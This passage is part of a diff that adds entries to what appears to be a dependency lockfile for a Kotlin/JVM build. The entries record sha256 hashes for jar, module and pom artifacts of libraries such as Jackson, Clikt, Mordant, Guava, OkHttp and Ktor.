+   "jar": "sha256-PKzvcUqJ89aLafoRJjr6VaaqL97x//k97SLKoWtUaHw=",
+   "module": "sha256-udQUijW0OBPvz4AbJj7+jpyvHXWfbT6c/xIXrUs0uRQ=",
+   "pom": "sha256-u7b3aEXxQjrbJwnPw2M4OlKR/Blf407OEoYn/j9Z/dA="
+  },
+  "com/fasterxml/jackson/core#jackson-annotations/2.15.2": {
+   "jar": "sha256-BOIflNz+5LB4+lpfUwR7eFqrpp0Z3jkvYW56f+XTiC8=",
+   "module": "sha256-J9oBZ5NhzrL7aM7U2QUsbwZtKCMECzlhauJFsml1Lxg=",
+   "pom": "sha256-zffBunjNIWJW1JyP/T/9tCR5/HH4gsLdWFiwnqMx22Q="
+  },
+  "com/fasterxml/jackson/core#jackson-core/2.12.7": {
+   "jar": "sha256-OYemozUEbiJuVrgdaWaPtakbFV6n/ZawhRrbt9SsHKY=",
+   "module": "sha256-B0jdOm9PbdgkSwkZ8RQPWw9oQm8LCkq2n7z1au+XnKw=",
+   "pom": "sha256-hmQUWI/gqPtzQbqph/b+4FZxuYWeKMMstjvFKfQqY6k="
+  },
+  "com/fasterxml/jackson/core#jackson-core/2.15.2": {
+   "jar": "sha256-MDyZ6CsfqpGguuXY++tW9+Kt+bUmqQDdcjvxQNYr1LQ=",
+   "module": "sha256-kkYXeTlf4sRJWfjVNM6P1qVv9OcTaEQ3VnxtOBCO1ik=",
+   "pom": "sha256-kePK1TxteeWBzNjZgLpfmc56IV9HzjyFaZeiUeGT7GE="
+  },
+  "com/fasterxml/jackson/core#jackson-databind/2.12.7.1": {
+   "jar": "sha256-P1BMrEBc4GbVZl/2lUFITVMi81rHp+xhBM+GoBAI4C0=",
+   "module": "sha256-00wrIwGY2LLTmirRRxDWySJxwHhIxDKkDh1HFZSiKaY=",
+   "pom": "sha256-BXeRSYclRKUn7oo4VYqRcJeVMvSAb0/jz4k6EHaKj7I="
+  },
+  "com/fasterxml/jackson/core#jackson-databind/2.15.2": {
+   "jar": "sha256-DrL9rW5Aq4gyp4ybIvWBlt2XBZTo09Wibq2HhHxPOpY=",
+   "module": "sha256-8ssss51IhZ/13mWVeUikMfsa5vXVOOYsqJPD1LviC1Q=",
+   "pom": "sha256-mGNZbYwF1eKd6DrIRYayTIlvm6BlRLjyPG3eZOftbpw="
+  },
+  "com/fasterxml/jackson/dataformat#jackson-dataformat-xml/2.12.7": {
+   "jar": "sha256-udi0WaP98IcES8TzYWOxhaCtsISpOQ3422J7EVCH76A=",
+   "module": "sha256-bxysptOpUrBBDJgcx7yLkG2d/V9EazYUQLkq1yVfg88=",
+   "pom": "sha256-G45KhlzmFyf9DuDR7sJWvoXfklfqNj83/N4/DlZEol8="
+  },
+  "com/fasterxml/jackson/dataformat#jackson-dataformat-xml/2.15.2": {
+   "jar": "sha256-2tx1JrspbFn8DhzZMCk2Sf2aA1V00lk8tdnievX180E=",
+   "module": "sha256-TKh+4tY4SXK+6xAHvAvf1dVUBF8/K6ecAzwg0tiYC94=",
+   "pom": "sha256-C55MnkmSAalcL2Hc8aoWTrawhFwUSJ+mi44CQsxoHRA="
+  },
+  "com/fasterxml/jackson/datatype#jackson-datatype-jsr310/2.15.2": {
+   "jar": "sha256-dXTIGtVwR272qtJvQZKI/UZnM/MxW+4wEvLynJ3ACMg=",
+   "module": "sha256-dC7PdkWs0Yq7nZZxDD0hIsLYYmia2kgB4gi3RI/1i48=",
+   "pom": "sha256-2wyWlWrnBmn/2YS0rcBcknu4Zkv3MrhgLg1mzEtt/1c="
+  },
+  "com/fasterxml/jackson/module#jackson-module-jaxb-annotations/2.12.7": {
+   "jar": "sha256-hGhu9Umr8FPuNjKSWwJL4/MwvG809+Fm8FN3mef5Db0=",
+   "module": "sha256-wDgW20RCyzvDuEg3XZte4z0cjjmZnT6e/eVHzq8U20A=",
+   "pom": "sha256-9sHbW2XrT34FtcQu6/fXwzBtwn8gRkGreobv9+UCsWs="
+  },
+  "com/fasterxml/jackson/module#jackson-module-kotlin/2.12.7": {
+   "jar": "sha256-f0WUsO31GzPYnBpUV3vOqz46hbg3PORiLySxJKsyC7Y=",
+   "module": "sha256-KFgSNtUkPvn4QIbqYSnl+onOmomANlBHJ+tP0gthWN8=",
+   "pom": "sha256-n3uQJAkenbt/rP6uXhDF1a2TvRMste4UFlRfn6+Rf24="
+  },
+  "com/fasterxml/jackson/module#jackson-module-kotlin/2.15.2": {
+   "jar": "sha256-szYVmKgZAWEyAXV0YbAUnNdQldQgzrFV3frQkzjXdYg=",
+   "module": "sha256-G4hQbz9KEC4mzz1y0I9AVbrTqHbCJ+qe6dVPPzVIFKA=",
+   "pom": "sha256-DW8yUHjeZVX7cLonzUbv/HDEXXqC2MrtMSm2h5VFxGA="
+  },
+  "com/fasterxml/jackson/module#jackson-modules-base/2.12.7": {
+   "pom": "sha256-EhnfADQxBTWu+hl6YsSgr7gjqIIu1Ch9F3kDElMmoVw="
+  },
+  "com/fasterxml/jackson/module#jackson-modules-java8/2.15.2": {
+   "pom": "sha256-ySmc8tVgUfC2f+PPsl95GF5xcTyAkON/4xjA3TpTgI8="
+  },
+  "com/fasterxml/woodstox#woodstox-core/6.2.4": {
+   "jar": "sha256-X6c01QUPCXQFqAECLQk3e7yB6BHvmhfNAnntMnn0laU=",
+   "pom": "sha256-EOfKWazmMwqKqW4zMs+Sn8BmcWnei0EvvPxfOgFMVNE="
+  },
+  "com/fasterxml/woodstox#woodstox-core/6.5.1": {
+   "jar": "sha256-ySjWBmXGQV+xw5d1z5XPxE9/RYDPWrAbHDgOv/12iH8=",
+   "pom": "sha256-SDllThaxcU509Rq8s3jYNWgUq49NUnPR3S8c6KOQrdw="
+  },
+  "com/github/ajalt/clikt#clikt-core-jvm/5.0.1": {
+   "jar": "sha256-6MQ3DbBsafpIBpg7DAqG66kcGl+t223zFVeP2PO3Nbc=",
+   "module": "sha256-sYgdfY/3L7JojLSINHD7yoS8+IEMtp7DBQtJ2+HKWX8=",
+   "pom": "sha256-OtciKGhLlaLbN2X+aq3UYIRg7xMAFtKUjkcza76KweQ="
+  },
+  "com/github/ajalt/clikt#clikt-core/5.0.1": {
+   "jar": "sha256-JwglyC7ZsrjrYc6JB7DDdSyxcs8uWdBq1qauT/I2Y4I=",
+   "module": "sha256-KjDYyQXrcpOZYb6XLFQC/zH+HaM6sUcFUE9ZW/HFSFI=",
+   "pom": "sha256-TF2rhycC1WIleXiYJWIXQkzXhmtaRTj5dJ2U5iWh0Qk="
+  },
+  "com/github/ajalt/clikt#clikt-jvm/5.0.1": {
+   "jar": "sha256-7Dh/4hiEqIC8iH3RRNkoqVww0zaX6IDbyPSk4wWjX7c=",
+   "module": "sha256-gUIIpzSmW/HUSSaQ+6HXo/sZkscto5+XVYvzzaOM9yQ=",
+   "pom": "sha256-x/MSuihScDCMhWXTzqcYtmiWscDwbgpml8PlJPjNocI="
+  },
+  "com/github/ajalt/clikt#clikt-markdown-jvm/5.0.1": {
+   "jar": "sha256-wHPCe89OYBEWO5GjIMMvI66jVkfsq17KDW3K1q5Xq9s=",
+   "module": "sha256-V/2Xs3kCyShdTvmZMOJhYPto8K7mDTYgznv7rLC4G8A=",
+   "pom": "sha256-AIhy/cwr4LA0hIO1V5uUECfotNpTVRl5AibZwPaWBwY="
+  },
+  "com/github/ajalt/clikt#clikt-markdown/5.0.1": {
+   "jar": "sha256-Yy6Jtuktzu/odUCIxBN8963pdYBMiPGi8zwu4GMA8IM=",
+   "module": "sha256-AJR7eXEFqp6z7ikZ3o6eknNsgmkeI9xuz1j95SGC7+k=",
+   "pom": "sha256-JTR/vNOfMZxzueq93GTxmGjoepPoLFLJ+P56HJs+7Zk="
+  },
+  "com/github/ajalt/clikt#clikt/5.0.1": {
+   "jar": "sha256-UdVCOnMQs71H3+hw1kvQzJIgMMouDCwglDnaHtUIHo4=",
+   "module": "sha256-qnl8TNixzzOsXias5ZINL6z3JyxVgjzhqyPiwmecpi0=",
+   "pom": "sha256-32VyyN7wxHjO/GsaQyQRQ134AfKj66rzt1zZ+YruggY="
+  },
+  "com/github/ajalt/colormath#colormath-jvm/3.6.0": {
+   "jar": "sha256-WfdBrf5iBTBmeC2LGkWv0GaFpLxkszJ35Uh2uZPtiFw=",
+   "module": "sha256-P6dnMPmJ4ChN8YL87IViDZtIrjIhOYhBrGyviEYvYvg=",
+   "pom": "sha256-8Dw11QURDQZzNF9HQOVbzZdqmp+lobE8qirTmPO8Hl0="
+  },
+  "com/github/ajalt/colormath#colormath/3.6.0": {
+   "jar": "sha256-49ox0EqJXlNfXQh2TM9fODQcQr99aNqW6h8ACfclmdY=",
+   "module": "sha256-aQeqSXrbmvY4EsdTZjic7T5ruL7oDnsjmttMU2c/iIQ=",
+   "pom": "sha256-zh3tjA259LxNNjS64Vn9jVu2qWDyzTuWoAyPDnnOZAs="
+  },
+  "com/github/ajalt/mordant#mordant-core-jvm/3.0.1": {
+   "jar": "sha256-nPm0bR9J8tbPJjVGKyncWeDCmx+y8IWzMSiIu+nHzTE=",
+   "module": "sha256-5HRMRxB05ezUFh9wcLRZTfAO8XivBEJlkF5e0c61rJI=",
+   "pom": "sha256-1Ylt5eNKnVarJ4Y5iyYHJLGB85zAUIy7Kh9+iGzSXYc="
+  },
+  "com/github/ajalt/mordant#mordant-core/3.0.1": {
+   "jar": "sha256-c/UXnY6U+FEUR18Zlo0WWURZTmszjbcciwv9sJUe6z4=",
+   "module": "sha256-BWl6xcBV8Uh2cJ/U6f1ejD0VphrHesVy+RZEmTKgjC8=",
+   "pom": "sha256-Ah3YAdKdWJlqDJv/ux8VHWkHytU20syNGnoHuck4UNo="
+  },
+  "com/github/ajalt/mordant#mordant-coroutines-jvm/3.0.1": {
+   "jar": "sha256-XzyILF6svVPH/DDbOZAsomgT2mtGSVMtnL9+wxqAgj4=",
+   "module": "sha256-TLoUxxZp16wzJ4l3ZCdn/w1A0BruUlFZYJdh10GYzlY=",
+   "pom": "sha256-j4BHy5NRHEY3xgniI/4mlMgc8bgT/uZImXaVOSTGdSc="
+  },
+  "com/github/ajalt/mordant#mordant-coroutines/3.0.1": {
+   "jar": "sha256-WzDbWxcozFwzTd2qp6FLiBnE1+MT0wPWfNIcJgM+nzQ=",
+   "module": "sha256-DUxYZB9hnZ84wIc3P/bw4XMbCHQIgk7PKDGUMKpCzdU=",
+   "pom": "sha256-U6HnfpfWU1BoVKtJxxGEH4I68iP1XMsbmS/JptJcfMI="
+  },
+  "com/github/ajalt/mordant#mordant-jvm-ffm-jvm/3.0.0": {
+   "jar": "sha256-D9tgAq3XJ9rrrRl0348304xFpwRF6+SDUBc6gbHHI1A=",
+   "module": "sha256-oFAbyadCBH033AYFgEGH4e5vlzMC3br0dWKTnNBHjgc=",
+   "pom": "sha256-ecpb3mvuyOfFkKN+wJ4H6u+ezX5qYP8dzwijIqBynCQ="
+  },
+  "com/github/ajalt/mordant#mordant-jvm-ffm/3.0.0": {
+   "module": "sha256-bPgGG6IsR85tA81oU0028Lq4OFx7tlSMEPSpfdvv+hg=",
+   "pom": "sha256-yOHJMW4ZPBDh848i4efXbDKTJTmJUODhEAXPwPMHg54="
+  },
+  "com/github/ajalt/mordant#mordant-jvm-graal-ffi-jvm/3.0.0": {
+   "jar": "sha256-nCYGjFf6my3swkIGcZ0uXDDQ/zjy+ndPMuT5LrBWW1A=",
+   "module": "sha256-atsKs7W+MCvGGIgrUergISQ3aReYRgBDzl5+W2O6X4M=",
+   "pom": "sha256-uhw8nvIw7dshu5+stNVfFlLJsO/mXTFcCxKiim+F8uM="
+  },
+  "com/github/ajalt/mordant#mordant-jvm-graal-ffi/3.0.0": {
+   "module": "sha256-DdOCuSfkCzk8n6Ft4ZDhbshQ+IJY4ik8JKhcp79HoO0=",
+   "pom": "sha256-2CS/RFvlkqVPD9LE1HVPYUz27NnkdDDM0sORIJb7nJA="
+  },
+  "com/github/ajalt/mordant#mordant-jvm-jna-jvm/3.0.1": {
+   "jar": "sha256-QQY0QsiJGyd0U2qbh6UGKn/SDm8ZSZdMbacvSUctb00=",
+   "module": "sha256-eBcNkl07qnWGYvl2M2FjkN6Q1CoslON2PqpZBXY3jh4=",
+   "pom": "sha256-/hWoxktH4H8vmdiDKG5O+xR0YkVlh0ayVQ9vlohkX4A="
+  },
+  "com/github/ajalt/mordant#mordant-jvm-jna/3.0.1": {
+   "jar": "sha256-+8ZPXESnrd7Ytuq1F899cFVeJRU79dRKbtmw5TEvfek=",
+   "module": "sha256-cn+1FiNOi6/JJ5Xi7L0No4VNcjoWxphCrGGSC/WIebk=",
+   "pom": "sha256-xbxkikqeKmz3+dGAJMi/ZrIYCVDpPxYIODTHv/OqeGE="
+  },
+  "com/github/ajalt/mordant#mordant-jvm/3.0.0": {
+   "jar": "sha256-ntO5dvzMx42nRtSYZvqOu48QUwqTxUTqBCAlmmB92V4=",
+   "module": "sha256-n1EkiBM1KEwAVFcxz1lweTz/oF5JU9kM2Sqahl4ZeG0=",
+   "pom": "sha256-L9Kv6Kzg57uKrloGzP5I6JopxUABAhT8/8GkWRWgPkY="
+  },
+  "com/github/ajalt/mordant#mordant-markdown-jvm/3.0.0": {
+   "jar": "sha256-tiRG42KjhK3bnB3bpdc2C/7QAU9/8lZ+gVYGI+ouLg0=",
+   "module": "sha256-El0sWlMs/sFq+UUT2/jpYK1Lnbgm0d2/4Ehh1s1PTu0=",
+   "pom": "sha256-6qoBV0d1taWIOWORo5w0cBQTv4P4WuHZtGGWu5PCSQ4="
+  },
+  "com/github/ajalt/mordant#mordant-markdown/3.0.0": {
+   "jar": "sha256-Si/srE3DCUCL+3jNcQnBmmVFbIATk/mvv9PMwJW3rQk=",
+   "module": "sha256-DY+HTfYdDNlxUUKdi2nscpcgWkNHzVFc2UL5b99ahVg=",
+   "pom": "sha256-JYRQi3bMqAC0Ywn060Azu4CICNcUc0o2yxcS/itRmJU="
+  },
+  "com/github/ajalt/mordant#mordant/3.0.0": {
+   "jar": "sha256-CQmE0gJpL/70R+iN/ixjaTpd4pZw2ggxuGO8KE2hR+I=",
+   "module": "sha256-QIja+Do8Ni/a4lmFgvqGly+pe1xPAogm7RvO+kLkVNM=",
+   "pom": "sha256-teBT1txYME807CTlzJdbnIqo1c/o1HQ8raE8mpVgFXg="
+  },
+  "com/github/openjson#openjson/1.0.13": {
+   "jar": "sha256-fUGEz4kfNZ7nIJWkzhy5zY88Z2Z23+cW6on6tNDm6VM=",
+   "pom": "sha256-bH6VO09at9+Uppnum6jk7NneKghLcombV2R6I3WJhqg="
+  },
+  "com/google/auth#google-auth-library-credentials/1.10.0": {
+   "jar": "sha256-e6JvYHqxst/7DU2LLH7+GrbLP/XVp5kc7m5uSE0Me5w=",
+   "pom": "sha256-bNu3cd7W/LFy1vbsl2xSnAXwO6jDCRVEByvEVUAUntQ="
+  },
+  "com/google/auth#google-auth-library-oauth2-http/1.10.0": {
+   "jar": "sha256-mUY7z+4pJckZjSeI2eY5UR25VkCtczXz92CvP7phfig=",
+   "pom": "sha256-o3tod+z9LNRBeEjUa47YdFuzZA2DGwPVz7DjXL34o/4="
+  },
+  "com/google/auth#google-auth-library-parent/1.10.0": {
+   "pom": "sha256-1seKgSdyXJHe9+2phC4gXWpebySovmQqZmLhfLSptiA="
+  },
+  "com/google/auto/value#auto-value-annotations/1.9": {
+   "jar": "sha256-+lRp9MRO5Zii2PAzqwqdy8ZJigxeDJmN+gwq31E1gEQ=",
+   "pom": "sha256-kiCj2r51x5M08GGw5A34M0SGZrrCiouCO8Ho/VL4yYo="
+  },
+  "com/google/auto/value#auto-value-parent/1.9": {
+   "pom": "sha256-Lj2d/2OWAcq4gdfhcIBry9jgMffr/yWcu0W+V7TL14c="
+  },
+  "com/google/cloud/tools#jib-build-plan/0.4.0": {
+   "jar": "sha256-m3TWvlUbi/B51xEUh2kVDVZlEttaULHpx8RFxpwI0YI=",
+   "pom": "sha256-tWmwHLFU7+43kkVOKFVSnl0zaSXY8PA31oOY/kvYnKk="
+  },
+  "com/google/cloud/tools#jib-gradle-plugin-extension-api/0.4.0": {
+   "jar": "sha256-uT94XDlviNZJEVEzWo1CpEcNcwHRXwBZs7nF6Kjm0WQ=",
+   "pom": "sha256-mu4eBoChFYceolQ9iIP1RxalkSW+RrOj1QUBjuu9Kkc="
+  },
+  "com/google/cloud/tools#jib-plugins-extension-common/0.2.0": {
+   "jar": "sha256-77vEgZxtoRQrVJGV4KX0BGFUBDPEGvXtyaaVf7fT3OE=",
+   "pom": "sha256-gOW8IVlY0xxP3jxAL+7yClu6UU5f9iHAM7AszQBkcug="
+  },
+  "com/google/code/findbugs#jsr305/3.0.2": {
+   "jar": "sha256-dmrSoHg/JoeWLIrXTO7MOKKLn3Ki0IXuQ4t4E+ko0Mc=",
+   "pom": "sha256-GYidvfGyVLJgGl7mRbgUepdGRIgil2hMeYr+XWPXjf4="
+  },
+  "com/google/code/gson#gson-parent/2.8.9": {
+   "pom": "sha256-sW4CbmNCfBlyrQ/GhwPsN5sVduQRuknDL6mjGrC7z/s="
+  },
+  "com/google/code/gson#gson-parent/2.9.0": {
+   "pom": "sha256-r3gcmldm/+oxGg3wU2V2pk3sxmGqEQxN5cc6yL9DRCQ="
+  },
+  "com/google/code/gson#gson-parent/2.9.1": {
+   "pom": "sha256-fKCEXnNoVhjePka9NDTQOko3PVIPq5OmgDGK1sjLKnk="
+  },
+  "com/google/code/gson#gson/2.8.9": {
+   "pom": "sha256-r97W5qaQ+/OtSuZa2jl/CpCl9jCzA9G3QbnJeSb91N4="
+  },
+  "com/google/code/gson#gson/2.9.0": {
+   "jar": "sha256-yW1gVRMxoZbaxUt0WqZCzQeO+JtvJnFGtwXywsvvBS0=",
+   "pom": "sha256-cZDQsH8njp9MYD9E5UOUD4HPGiVZ+FHG8pjJuyvil4w="
+  },
+  "com/google/code/gson#gson/2.9.1": {
+   "jar": "sha256-N4U04znm5tULFzb7Ort28cFdG+P0wTzsbVNkEuI9pgM=",
+   "pom": "sha256-5ZZjI9cUJXCzekvpeeIbwtroSBB+TcQW2PRNmqPwKQM="
+  },
+  "com/google/errorprone#error_prone_annotations/2.18.0": {
+   "jar": "sha256-nmgUy3GBaYik/RsHqZOo8hu3BY1SLBYrHehJ4ZvqVK4=",
+   "pom": "sha256-kgE1eX3MpZF7WlwBdkKljTQKTNG80S9W+JKlZjvXvdw="
+  },
+  "com/google/errorprone#error_prone_parent/2.18.0": {
+   "pom": "sha256-R/Iumce/RmOR3vFvg3eYXl07pvW7z2WFNkSAVRPhX60="
+  },
+  "com/google/guava#failureaccess/1.0.1": {
+   "jar": "sha256-oXHuTHNN0tqDfksWvp30Zhr6typBra8x64Tf2vk2yiY=",
+   "pom": "sha256-6WBCznj+y6DaK+lkUilHyHtAopG1/TzWcqQ0kkEDxLk="
+  },
+  "com/google/guava#guava-parent/26.0-android": {
+   "pom": "sha256-+GmKtGypls6InBr8jKTyXrisawNNyJjUWDdCNgAWzAQ="
+  },
+  "com/google/guava#guava-parent/32.1.2-jre": {
+   "pom": "sha256-iOnLAHM1q1/bMUpuPJh3NOwjCMmgY/90fHRpGJ0Kkr8="
+  },
+  "com/google/guava#guava/32.1.2-jre": {
+   "jar": "sha256-vGXep8/Z5NrPhBnYrw50FlWFfSeIW7NdlD1xh/w6j84=",
+   "module": "sha256-5Azwhc7QWrGPnJTnx7wZfhzbaVvJOa/DRKskwUFNbH4=",
+   "pom": "sha256-PyCFltceCDmyU6SQr0mjbvf9tFG+kKQqsd+els/TFmA="
+  },
+  "com/google/guava#listenablefuture/9999.0-empty-to-avoid-conflict-with-guava": {
+   "jar": "sha256-s3KgN9QjCqV/vv/e8w/WEj+cDC24XQrO0AyRuXTzP5k=",
+   "pom": "sha256-GNSx2yYVPU5VB5zh92ux/gXNuGLvmVSojLzE/zi4Z5s="
+  },
+  "com/google/http-client#google-http-client-apache-v2/1.42.2": {
+   "jar": "sha256-lJrlJXqhd0sA9L/x6B/nxriYWro5DMzQq+t5qNKQq3U=",
+   "pom": "sha256-7Y5OvBtHyrA9EopIYCVKXyGV2M1GCo8kziI4IE/+9cA="
+  },
+  "com/google/http-client#google-http-client-bom/1.42.2": {
+   "pom": "sha256-pPTquSQ9Xh5lU2cZjudRRNVbPl4FEHH2QoIGWu9OXWo="
+  },
+  "com/google/http-client#google-http-client-gson/1.42.2": {
+   "jar": "sha256-T76vOfT8EsEPRfHUuORdtqDeRFLXXagflJJphbmPljc=",
+   "pom": "sha256-HXVvEDFvAHmAzVSDS3ZvOkyMqq/UO81t8C4M3SZw6L8="
+  },
+  "com/google/http-client#google-http-client-parent/1.42.2": {
+   "pom": "sha256-WKvfWeAhp0/G9l35WSpmhrSuJjnWa3XZGZSKC3zZohY="
+  },
+  "com/google/http-client#google-http-client/1.42.2": {
+   "jar": "sha256-l1RK0LCuObasFLG8rMD2wgxGwHygW5NizrOPIWxR4Ek=",
+   "pom": "sha256-9guui9ra40SAu46NArby8I5AFwjlzEdajsXi7QulGtc="
+  },
+  "com/google/j2objc#j2objc-annotations/1.3": {
+   "pom": "sha256-X6yoJLoRW+5FhzAzff2y/OpGui/XdNQwTtvzD6aj8FU="
+  },
+  "com/google/j2objc#j2objc-annotations/2.8": {
+   "jar": "sha256-8CqV+hpele2z7YWf0Pt99wnRIaNSkO/4t03OKrf01u0=",
+   "pom": "sha256-N/h3mLGDhRE8kYv6nhJ2/lBzXvj6hJtYAMUZ1U2/Efg="
+  },
+  "com/googlecode/javaewah#JavaEWAH/1.1.13": {
+   "jar": "sha256-TA/aKx0xd1DX6jJONscLK8SDEMCqrme5jfCRXWltcRE=",
+   "pom": "sha256-lyWx/pxoENl3dQu4RBXqEILEtIjUqDn5cEu09ej8F/Q="
+  },
+  "com/gradleup/shadow#shadow-gradle-plugin/8.3.6": {
+   "jar": "sha256-fOIOvwHuKe7FJFY70UK6wpHXUTXtedDZUamP0skmXDs=",
+   "module": "sha256-+8pm1Bwrz9HiUE9uzIIf4BqbAIx27qnJQM+Ay1aaI/8=",
+   "pom": "sha256-lRJfSJrSuJ5gJXMmnK9h9tSF26gvHcuNCYDODfK2stA="
+  },
+  "com/michael-bull/kotlin-result#kotlin-result-jvm/2.0.0": {
+   "jar": "sha256-mJEwXLDswwAVv+3nSWS4o4JZrT0sRccQV0CTv2Cvxh8=",
+   "module": "sha256-FDq6xsuiLZXdRcAWJgTmSRAGyGgrATswOTEOkkwJFY0=",
+   "pom": "sha256-uEdTNnmhkx/w5XC2DvLUtGAdFpkwBek0k8b/IIy5Y1U="
+  },
+  "com/michael-bull/kotlin-result#kotlin-result/2.0.0": {
+   "jar": "sha256-noBqlTyVF3fWybsf5LMp3qiaBFxzCyZ2QiSSBwZfGxw=",
+   "module": "sha256-ABeTzl/WiKIPEYecpafhVNePuiFTPQzIQB1vwvcLnDo=",
+   "pom": "sha256-gsKkUZ4q9ISBo0slvuYAsi5R7oXqT6RiXVRpIx6jyDw="
+  },
+  "com/squareup/okhttp3#okhttp-sse/4.12.0": {
+   "jar": "sha256-v/T7yu96rC2RDU/0ba+qTm0V2hJ99rrJchbaRpQ6fUw=",
+   "module": "sha256-c+RIzK9gfU9gO4tuZmGHKk/6PCZBGTyLvE1r2h5Ww0I=",
+   "pom": "sha256-lKunzO96e5DcolIFhb8LEjNtyO+U1ZGWPu2sV3lnkzw="
+  },
+  "com/squareup/okhttp3#okhttp/4.12.0": {
+   "jar": "sha256-sQUAgbFLt6On5VpNPvAbXc+rxFO0VzpPwBl2cZHV9OA=",
+   "module": "sha256-YH4iD/ghW5Kdgpu/VPMyiU8UWbTXlZea6vy8wc6lTPM=",
+   "pom": "sha256-fHNwQKlBlSLnxQzAJ0FqcP58dinlKyGZNa3mtBGcfTg="
+  },
+  "com/squareup/okio#okio-jvm/3.10.2": {
+   "jar": "sha256-/Qp+dsZzHwDpILe8EcBdgjqTIEVDGt1Ujgld4CCmnt4=",
+   "module": "sha256-p4CkJMVx4odVASiuADMjVibf/iFsuNs7ICRkmWrZaPA=",
+   "pom": "sha256-AP000Iv0YxNiofVSLKpXyuKMosfpOS76My72Vs/anUM="
+  },
+  "com/squareup/okio#okio/3.10.2": {
+   "module": "sha256-P94fn79yxsMm1eiktTL0/Z/aLdDLFEK8pODHl9FBI4c=",
+   "pom": "sha256-7lbAIUoPqfER2nExxVDo3ICvDL9WCVbBzNosZtdQa0E="
+  },
+  "com/sun/activation#all/1.2.1": {
+   "pom": "sha256-NgiDv2RIbs7xYbjygvZQNTbdGmcNU6Coccj7IBcOZ5U="
+  },
+  "commons-codec#commons-codec/1.11": {
+   "jar": "sha256-5ZnVMY6Xqkj0ITaikn5t+k6Igd/w5sjjEJ3bv/Ude30=",
+   "pom": "sha256-wecUDR3qj981KLwePFRErAtUEpcxH0X5gGwhPsPumhA="
+  },
+  "commons-io#commons-io/2.17.0": {
+   "jar": "sha256-SqTKSPPf0wt4Igt4gdjLk+rECT7JQ2G2vvqUh5mKVQs=",
+   "pom": "sha256-SEqTn/9TELjLXGuQKcLc8VXT+TuLjWKF8/VrsroJ/Ek="
+  },
+  "commons-logging#commons-logging/1.2": {
+   "jar": "sha256-2t3qHqC+D1aXirMAa4rJKDSv7vvZt+TmMW/KV98PpjY=",
+   "pom": "sha256-yRq1qlcNhvb9B8wVjsa8LFAIBAKXLukXn+JBAHOfuyA="
+  },
+  "io/grpc#grpc-context/1.27.2": {
+   "jar": "sha256-vL+QVd/0U/1lCL18yioKotXwWanJS+7R9f2h3AFWB7g=",
+   "pom": "sha256-DyErFOvYNMvtm9iGml1snBeY7OtRLH/MKNqJ9vik7dg="
+  },
+  "io/ktor#ktor-bom/3.1.0": {
+   "module": "sha256-225ltheG1Cm7dPeo6aQw3ijchFoKMgjaK94FDIeGKmI=",
+   "pom": "sha256-sabfqYNnY9+2fOCzPWrJgB30ZSIdBIp0fDllCs13yxE="
+  },
+  "io/ktor#ktor-client-content-negotiation-jvm/3.1.0": {
+   "jar": "sha256-VSb+C0fISQmx5gSbtcJ3tnSip5dwN5y+5j3OGnvBsm8=",
+   "module": "sha256-kMR+ns8mqIFRONXzNdi15CYqzo2QTL8uV77aQDCPv+0=",
+   "pom": "sha256-7U6Qj1kRIQe8koJo7OK4ICb4TMtZwzI92z6hsR87WFQ="
+  },
+  "io/ktor#ktor-client-content-negotiation/3.1.0": {
+   "jar": "sha256-fiokvhpkCN4pgoV1Rzi0yEMGY9MB/S2U8tUO4a1OyCQ=",
+   "module": "sha256-KiDCm1IW4owhZ/t1Siq1Bh74l3zEasusnyjhd6zm298=",
+   "pom": "sha256-HJuBXBrKFDknSTv4SGMFLircKcgUwcGGrjBDg4GZEtY="
+  },
+  "io/ktor#ktor-client-core-jvm/3.1.0": {
+   "jar": "sha256-9Ejei8R+/7TmyolFYZLB8hw+dewwNJoXA9ozijykTzM=",
+   "module": "sha256-/4H86vkqPW8c9imVp+XYG8iMeoO6X1a1u/s3+++W+vk=",
+   "pom": "sha256-iJlch9K14MOSFOumQJxuRj4vcIchfd+twcpVwcPM21g="
+  },
+  "io/ktor#ktor-client-core/3.1.0": {
+   "jar": "sha256-sfIlSQ+Pw1vwnT/i9xZQToP2OjitnsJb4NT+DJi6yCw=",
+   "module": "sha256-TXYnlnNUHAw0NQHrIiTQxUEu6RP2hbdZ0kDX4h6v/b4=",
+   "pom": "sha256-Ea4eu0C83tctLhqoXAAApTUKaxTkAy+1A388eVOhtqc="
+  },
+  "io/ktor#ktor-client-okhttp-jvm/3.1.0": {
+   "jar": "sha256-WCyY2WriuT0lu9/bi6E41crnHayPZ7U2K+Tk43agYAA=",
+   "module": "sha256-xhDWz/m1/kRnzNXjpbvjpYijn7mgKldswCCqG/5rGwY=",
+   "pom": "sha256-IU+6Ig0xLRoPsMpyUe7b/4Ibvta2/y9RrN5x2yz2sFk="
+  },
+  "io/ktor#ktor-client-okhttp/3.1.0": {
+   "jar": "sha256-NgvHtUFuBUlBqi1jYRZVXN7V4rM8Fz9wrUpVJovQNXo=",
+   "module": "sha256-5de9cPQo9oWafDyk72XuiYkJh0unA349wdRGooF1Vo0=",
+   "pom": "sha256-EtL0zFp9ga8SsJNz5+biHjEi0dHEsuYUKMeCb7P2lOs="
+  },
+  "io/ktor#ktor-events-jvm/3.1.0": {
+   "jar": "sha256-9Qvubvaud9Zq8cqikxgOry5HB2Jbo3bqAbG63GhrPoo=",
+   "module": "sha256-dwSrwVtchzCms5gLBYb6IXMfV5npzWCtzOVx0fQ+kf8=",
+   "pom": "sha256-ZFBlrde4FUXeXWBjsD5aRta0DndaqwGn132u8bO2EsY="
+  },
+  "io/ktor#ktor-events/3.1.0": {
+   "jar": "sha256-bSRgzyLWbD7cYaoAAaPMzXhV6wc9hng0d6RqWDkfpY0=",
+   "module": "sha256-77Jj7IeSVLmJ9SFVEb0PPfRP2TEfjPgW390AjgHmrXI=",
+   "pom": "sha256-0TbbbuDfSqJYdEkJxfF1EpOqb9EAVN731xib+OYcrUQ="
+  },
+  "io/ktor#ktor-http-cio-jvm/3.1.0": {
+   "jar": "sha256-U21gFSIw0tsje3mQjP0g2cb+B2sWxua1rB4vchlvKy8=",
+   "module": "sha256-qMBqDOc0JlZBdcm2GSEQ8t8u/dRKjnDLOiyJiI98CN0=",
+   "pom": "sha256-EOCpHTgbanvM/Q3O9MouQLqdU0F2tdzXbivVLet0zFQ="
+  },
+  "io/ktor#ktor-http-cio/3.1.0": {
+   "jar": "sha256-0w16y8JrNH+elyNC1AvJIOqO6c4lx3fEwwi8Xg3Xa1c=",
+   "module": "sha256-ZC7T1+yHHwySuZ57bzTDeR2ydlLynL2V+YUmmxU0J6M=",
+   "pom": "sha256-HfisWfEco7p5vIyGxSHKxDjJ/2F+U2iju6JCBhkEd+E="
+  },
